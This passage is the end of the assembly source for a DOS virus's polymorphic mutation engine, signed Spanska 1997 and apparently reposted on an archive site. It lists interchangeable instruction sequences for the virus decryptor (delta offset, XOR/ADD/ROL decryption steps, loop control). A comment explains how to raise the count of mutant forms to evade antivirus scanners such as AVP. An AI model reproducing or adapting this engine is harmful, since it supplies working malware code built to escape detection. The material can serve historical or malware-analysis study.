mov ah, 2Ah ;get date: return dh=month dl=day
int 21h
xchg dx, ax ;i didn't thought that will restrict the
xor ax, 0FFFFh ;number of possible mutants to 365 (thanks
xor dx, dx ;to AVP to have shown me this error). Replace
div bx ;the "get date" (mov ah, 2Ah) by a "get time"
xchg ax, dx ;(mov ah, 2Ch) and you will have millions
pop cx ;of possible mutants.
pop dx
pop bx
ret

;------------change an entire block of instructions--------------
;in: si=stock zone, di=offset in decryptor
;ax=number of possibilities, bx=number of bytes

mute_bloc:
call aleatoire
mov cx, bx
mul bx
add si, ax
rep movsb
ret

;-------------possible mutations------------------------

;0/ get delta offset in 23 bytes

_mutation0:

mov di, sp
call $+4
;delta:
ret
dec di
dec di
db 36h, 81h, 2Dh, 34h, 1 ;sub ss:[di], offset delta
mov bp, ss:[di]
add word ptr ss:[di], offset mutation1
db 0EBh, 0EEh ;jmp delta

mov si, sp
call $+4
;delta:
ret
dec si
dec si
db 36h, 81h, 2Ch, 34h, 1 ;sub ss:[si], offset delta
mov bp, ss:[si]
add word ptr ss:[si], offset mutation1
db 0EBh, 0EEh ;jmp delta

mov si, sp
call $+5
;delta:
int 20h
dec si
dec si
db 36h, 81h, 2Ch, 34h, 1 ;sub ss:[si], offset delta
mov bp, ss:[si]
add word ptr ss:[si], offset mutation1
ret

nop
mov di, sp
sub di, 2
call $+3
;delta:
db 36h, 81h, 2Dh, 38h, 1 ;sub ss:[di], offset delta
mov bp, ss:[di]
add word ptr ss:[di], offset mutation1
ret

nop
nop
nop
nop
nop
call $+3
;delta:
mov bp, sp
mov ax, [bp]
db 83h, 46h, 0, 0Fh ;add word ptr [bp], mutation1-delta
db 2Dh, 37h, 1 ;sub ax, offset delta
mov bp, ax
ret

call $+4
nop
;delta:
mov ax, sp
xchg ax, bx
mov ax, ss:[bx]
inc ax
db 36h, 83h, 07, 14h ;add word ptr ss:[bx], mutation1-delta+1
db 2Dh, 33h, 1 ;sub ax, offset delta
mov bp, ax
ret
nop
nop

sub bx, bx
or bx, sp
dec bx
call $+3
;delta:
dec bx
db 36h, 81h, 2Fh, 37h, 1 ;sub ss:[bx], offset delta
mov bp, ss:[bx]
db 36h, 81h, 07, 46h, 1 ;add word ptr ss:[bx], offset mutation1
ret

nop
call $+7
;delta:
mov cl, 2
db 0E2h, 0Fh ;loop mutation1
mov ax, 0FFFFh
and ax, sp
xchg ax, bx
mov ax, ss:[bx]
db 2Dh, 33h, 1 ;sub ax, offset delta
mov bp, ax
ret

mov ax, sp
dec ax
dec ax
xchg ax, bx
call $+3
;delta:
db 36h, 81h, 2Fh, 37h, 1 ;sub ss:[bx], offset delta
mov bp, ss:[bx]
db 36h, 81h, 07, 46h, 1 ;add word ptr ss:[bx], offset mutation1
ret
nop

mov bx, sp
call $+3
;delta:
db 36h, 81h, 6Fh, 0FEh, 34h, 1 ;sub ss:[bx-2], offset delta
mov bp, ss:[bx-2]
add word ptr ss:[bx-2], offset mutation1
ret
int 3h

call $+3
;delta:
mov bx, sp
mov ax, ss:[bx]
db 05, 14h, 0 ;add ax, mutation1-delta
db 36h, 81h, 2Fh, 32h, 1 ;sub ss:[bx], offset delta
mov bp, ss:[bx]
mov ss:[bx], ax
ret

db 0B8h, 38h, 1 ;mov ax, offset delta
db 0B9h, 0Eh, 0 ;mov cx, offset mutation1-delta
call $+3
;delta:
mov bx, sp
mov dx, ss:[bx]
sub dx, ax
mov bp, dx
add ss:[bx], cx
ret
clc


;1/ push es, ds then put es=ds=cs in 20 bytes

_mutation1:

push es
push ds
push cs
push cs
pop es
pop ds
db 10 dup (90h)
clc
db 2 dup (90h)
clc

db 9 dup (90h)
push es
nop
push ds
nop
push cs
nop
pop es
nop
push cs
nop
pop ds

mov ax, es
push ax
mov ax, ds
push ax
mov ax, cs
push ax
push ax
pop bx
pop bx
mov es, bx
mov ds, bx
db 4 dup (90h)

nop
mov bx, es
push bx
mov cx, ds
push cx
mov dx, cs
mov es, dx
mov ds, dx
nop
xor ax, 0
db 3 dup (90h)

nop
nop
mov ax, es
nop
mov bx, ds
nop
mov cx, cs
nop
push cx
nop
push cx
nop
pop ds
nop
pop es
push ax
push bx

xor dx, dx
mov cx, es
or dx, cx
push dx
xor cx, cx
mov dx, ds
or cx, dx
push cx
mov cx, cs
push cx
pop es
mov ds, cx

mov ax, 0FFFFh
mov bx, es
and ax, bx
push ax
mov dx, ds
push dx
push bp
mov bp, cs
mov ds, bp
mov es, bp
pop bp
nop

sub sp, 2
mov bx, sp
mov ss:[bx], es
mov ax, ds
mov bx, cs
push bx
pop es
mov ds, bx
push ax
db 3 dup (90h)

dec sp
dec sp
mov bx, sp
mov ss:[bx], es
dec sp
dec sp
mov bx, sp
mov ss:[bx], ds
mov ax, cs
mov es, ax
mov ds, ax

nop
sub sp, 4
mov di, sp
mov ss:[di], ds
mov ss:[di+2], es
push cs
mov si, sp
mov es, ss:[si]
pop ds


;2/ JMP 12Bh in 5 bytes

_mutation2:

db 90h ;nop
db 33h, 0C0h ;xor ax, ax
db 74h, 0Bh ;je decrypte

db 33h, 0C9h ;xor cx, cx
db 41h ;inc cx
db 75h, 0Bh ;jne decrypte

db 90h ;nop
db 0EBh, 0Dh ;jmp decrypte
db 90h ;nop
clc

db 90h ;nop
db 34h, 0FFh ;xor al, 0FFh
db 75h, 0Bh ;jne decrypte

db 32h, 0DBh ;xor bl, bl
db 76h, 0Ch ;jbe decrypte
db 90h ;nop

db 0B9h, 02h, 0 ;mov cx, 2
db 0E2h, 0Bh ;loop decrypte

db 41h ;inc cx
db 41h ;inc cx
db 0E2h, 0Ch ;loop decrypte
db 90h ;nop

db 0E9h, 0Dh, 0 ;jmp near decrypte
push ax
pop ax

db 90h ;nop
db 90h ;nop
db 0E9h, 0Bh, 0 ;jmp near decrypte

db 0F6h,0C5h,01 ;test ch, 1
db 74h, 0Bh ;jz decrypte

;3/ STOSB in 6 bytes (without di, si, cx, dl)

_mutation3:

stosb
nop
nop
nop
nop
clc

nop
nop
nop
nop
nop
stosb

mov es:[di], al
xchg ax, di
inc ax
xchg ax, di

xchg ax, dx
mov ds:[di], dl
inc di
xchg ax, dx
nop

inc di
mov es:[di-1],al
nop

mov byte ptr [di], 0
or [di], al
inc di

xchg byte ptr [di], al
add di, 2
dec di

mov byte ptr [di], 0
add byte ptr [di], al
inc di

add di, 1
xchg byte ptr [di-1], al;3

mov byte ptr [di], 0FFh
and byte ptr [di], al
inc di

;4/ RET in 5 bytes (without di, si, cx, dl)

_mutation4:

ret
nop
nop
nop
clc

nop
nop
nop
nop
ret

pop ax
jmp ax
nop
nop

nop
pop bx
jmp bx
nop

xchg ax, cx
pop cx
xchg ax, cx
jmp ax

xchg ax, dx
pop dx
xchg ax, dx
jmp ax

pop ax
pushf
push cs
push ax
iret

pop bx
pushf
push cs
push bx
iret

;5/ mov cx, fin_cryptage-debut_cryptage in 6 bytes

_mutation5:

mov cx, fin_cryptage-debut_cryptage
nop
nop
nop

nop
nop
nop
mov cx, fin_cryptage-debut_cryptage

mov ax, fin_cryptage - debut_cryptage+1
dec ax
push ax
pop cx

mov bx, fin_cryptage-debut_cryptage
push bx
pop cx
nop

nop
mov dx, fin_cryptage-debut_cryptage
xchg cx, dx

mov ax, fin_cryptage-debut_cryptage-1
inc ax
mov cx, ax

xor cx, cx
add cx, fin_cryptage-debut_cryptage

xor ax, ax
add ax, fin_cryptage-debut_cryptage
xchg ax, cx

mov cx, debut_cryptage-fin_cryptage
neg cx
nop

;6/ lea si, debut_cryptage in 10 bytes (without CX)

_mutation6:

lea si, [bp+offset debut_cryptage+5]
sub si, 5
nop
nop
nop

nop
nop
nop
nop
nop
nop
lea si, [bp+offset debut_cryptage]

mov ax, bp
add ax, offset debut_cryptage+9
mov si, ax
sub si, 9

sub bx, bx
xor bx, offset debut_cryptage
add bx, bp
xchg si, bx

xor dx, dx
add dx, bp
add dx, offset debut_cryptage
mov si, dx

mov bx, bp
mov ax, offset debut_cryptage+1
add ax, bx
mov si, ax
dec si

push bp
pop ax
add ax, offset debut_cryptage-1
inc ax
mov bx, ax
mov si, bx

mov dx, offset debut_cryptage
neg dx
push bp
pop si
sub si, dx
nop

;7/ mov di, si in 4 bytes (without CX, SI)

_mutation7:

mov di, si
nop
nop

nop
nop
mov di, si

nop
push si
pop di
nop

push si
pop dx
xchg dx, di

xchg si, di
mov si, di

push si
pop ax
xchg ax, di
nop

sub di, di
xor di, si

mov ax, si
mov di, ax

xchg si, ax
xchg ax, di
mov si, di

;8/ mov dl, cs:[bp+offset clef] in 10 bytes (without CX, SI, DI)

_mutation8:

mov dl, cs:[bp+offset clef]
nop
nop
nop
nop
nop

nop
nop
nop
nop
nop
mov dl, ds:[bp+offset clef]

lea bx, [bp+offset clef+5]
sub bx, 5
mov dl, [bx]
nop

mov ax, bp
add ax, offset clef-2
inc ax
inc ax
xchg ax, bx
mov dl, [bx]

sub bx, bx
xor bx, offset clef
add bx, bp
mov dl, [bx]

mov bx, bp
add bx, offset clef
mov dh, [bx]
xchg dh, dl

mov bx, bp
mov ax, offset clef+1
add bx, ax
mov dl, [bx-1]

;9/ LODSB in 6 bytes (without CX, SI, DI, DL)

_mutation9:

lodsb
nop
nop
nop
nop
nop

nop
nop
nop
nop
nop
lodsb

mov al, es:[si]
xchg ax, si
inc ax
xchg ax, si

mov bx, si
mov al, [bx]
inc si
nop

inc si
mov al, es:[si-1]
nop

mov ax, 0
or al, [si]
inc si

xchg byte ptr [si], al
add si, 2
dec si

xor ax, ax
add al, byte ptr [si]
inc si
nop

add si, 1
xchg byte ptr [si-1], al

mov ax, 0FFFFh
and al, byte ptr [di]
inc si

;10/ XOR AL, DL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10:

xor al, dl
db 2 dup (90h)
xchg cx, bx
xchg cx, bx
nop
clc

db 8 dup (90h)
xor al, dl

xchg ax, bx
xor bl, dl
xchg ax, bx
db 5 dup (90h)
stc

db 2 dup (90h)
xor ax, dx
db 6 dup (90h)

clc
db 5 dup (90h)
xor ax, dx
db 2 dup (90h)

stc
db 2 dup (90h)
mov bx, dx
xor ax, bx
db 3 dup (90h)

lea bx, [bp+offset temp]
mov [bx], dl
xor [bx], al
mov al, [bx]

lea bx, [bp+offset temp]
xchg [bx], al
xor [bx], dl
xchg al, [bx]

;10bis/ add AL, DL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10bis:

db 3 dup (90h)
add al, dl
db 5 dup (90h)

db 4 dup (90h)
xchg al, dl
add dl, al
xchg al, dl

mov ah, al
mov dh, dl
db 2 dup (90h)
add ah, dh
xchg ah, al

neg dl
sub al, dl
neg dl
db 4 dup (90h)

db 2 dup (90h)
neg dx
nop
sub al, dl
nop
neg dx

;10ter/ rol AL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10ter:

db 3 dup (90h)
rol al, 1
db 5 dup (90h)

db 7 dup (90h)
rol al, 1
nop

lea bx, [bp+offset temp]
xchg [bx], al
rol byte ptr [bx], 1
xchg al, [bx]

jmp baise_les4
neg al
inc al
not al
baise_les4:
rol al, 1

;10quart/ inc AL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10quart:

db 4 dup (90h)
inc al
db 4 dup (90h)

db 8 dup (90h)
add al, 1

inc ax
db 9 dup (90h)

lea bx, [bp+offset temp]
xchg [bx], al
inc byte ptr [bx]
xchg al, [bx]

jmp baise_les
xor al, dl
add al, dl
rol al, 1
baise_les:
inc al

;10quinte/ not AL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10quinte:

db 4 dup (90h)
not al
db 4 dup (90h)

db 4 dup (90h)
xchg al, dh
not dh
xchg al, dh

lea bx, [bp+offset temp]
xchg [bx], al
not byte ptr [bx]
xchg al, [bx]

jmp baise_les2
xor al, dl
add al, dl
inc al
baise_les2:
not al

;10sixte/ neg AL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10sixte:

db 3 dup (90h)
neg al
db 5 dup (90h)

db 3 dup (90h)
mov dh, al
neg dh
mov al, dh
nop

lea bx, [bp+offset temp]
xchg [bx], al
neg byte ptr [bx]
xchg al, [bx]

jmp baise_les3
not al
xor al, dl
inc al
baise_les3:
neg al

;11/ CALL in 12 bytes (without CX, SI, DI, DL, AL)

_mutation11:

db 0E8h, 0C4h, 0FFh ;call baise_flag_cryptage
db 90h, 90h, 90h, 90h, 90h
db 90h, 90h, 90h
stc

lea bx, [bp+offset mutation11+12]
push bx
db 0EBh, 0C0h ;jmp baise_flag_cryptage
db 90h, 90h, 90h, 90h
clc

db 8Bh, 0DDh ;mov bx, bp
add bx, offset mutation11
db 83h, 0C3h, 0Ch ;add bx, 12
db 53h ;push bx
db 0EBh, 0BBh ;jmp baise_flag_cryptage

db 51h ;push cx
lea bx, [bp+offset mutation11+10]
db 53h ;push bx
db 0B1h, 02h ;mov cl, 2
db 0E2h, 0BDh ;loop baise_flag_cryptage
db 59h ;pop cx
nop

lea bx, [bp+offset mutation11+12]
db 53h ;push bx
db 32h, 0DBh ;xor bl, bl
db 76h, 0BEh ;jbe baise_flag_cryptage
nop
nop
nop

mov bx, offset mutation11+10
db 43h ;inc bx
db 03h, 0DDh ;add bx, bp
db 43h ;inc bx
db 53h ;push bx
db 32h, 0DBh ;xor bl, bl
db 74h, 0BBh ;je baise_flag_cryptage

;12/ DEC CX in 5 bytes (without CX, SI, DI, DL, AL)

_mutation12:

nop
nop
dec cx
nop
nop

nop
nop
sub cx, 1

inc cx
sub cx, 2
nop

neg cx
inc cx
neg cx

xchg cx, bx
dec bx
xchg cx, bx

nop
nop
xchg cx, ax
dec ax
xchg cx, ax

xchg cx, di
dec di
xchg cx, di

xor bl, bl
sbb cx, 1

db 81h, 0C1h, 0FFh, 0FFh
nop
db 90h, 90h
db 83h, 0C1h, 0FFh

mov bx, 1
sub cx, bx

;13/ CMP CX, 0 in 6 bytes

_mutation13:

cmp cx, 0
nop
nop
nop

nop
nop
nop
cmp cx, 0

nop
or cx, cx
nop
nop
nop

nop
nop
nop
or cx, cx
nop

test cx, 0FFFFh
nop
nop

or cl, cl
jne suite_or
or ch, ch
suite_or:

mov bx, cx
inc bx
cmp bx, 1

inc cx
cmp cx, 1
dec cx
nop

dec cx
cmp cx, 0FFFFh
inc cx
nop

;14/ JNE XOR_LOOP in 7 bytes

_mutation14:

db 90h, 90h, 90h
db 90h, 90h
db 75h, 0D2h ;jne xor_loop

db 90h, 90h, 90h ;3 nop
db 75h, 0D4h ;jne xor_loop
db 90h ;nop
clc

db 90h, 90h ;2 nop
db 74h, 03 ;je suite_zob
db 0EBh, 0D3h ;jmp xor_loop
stc
;suite_zob:

db 77h, 0D7h ;ja xor_loop
db 90h, 90h, 90h ;3 nop
db 90h, 90h ;2 nop

db 76h, 05h ;jna suite_zobi ;2
db 0EBh, 0D5h ;jmp xor_loop
db 90h, 90h, 90h ;3 nop
;suite_zobi:

db 9Ch ;pushf
db 5Bh ;pop bx
db 0F6h, 0C3h, 40h ;test bl, 01000000b
db 74h, 0D2h ;je xor_loop

;-----------memory zones used by mutation engine---------------

temp db 0
type_cryptage db 0

fin_cryptage:
clef db 0
endvirus:
heap:

code ends
end start

;----------------- (c) Spanska 1997 ---------------------------

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT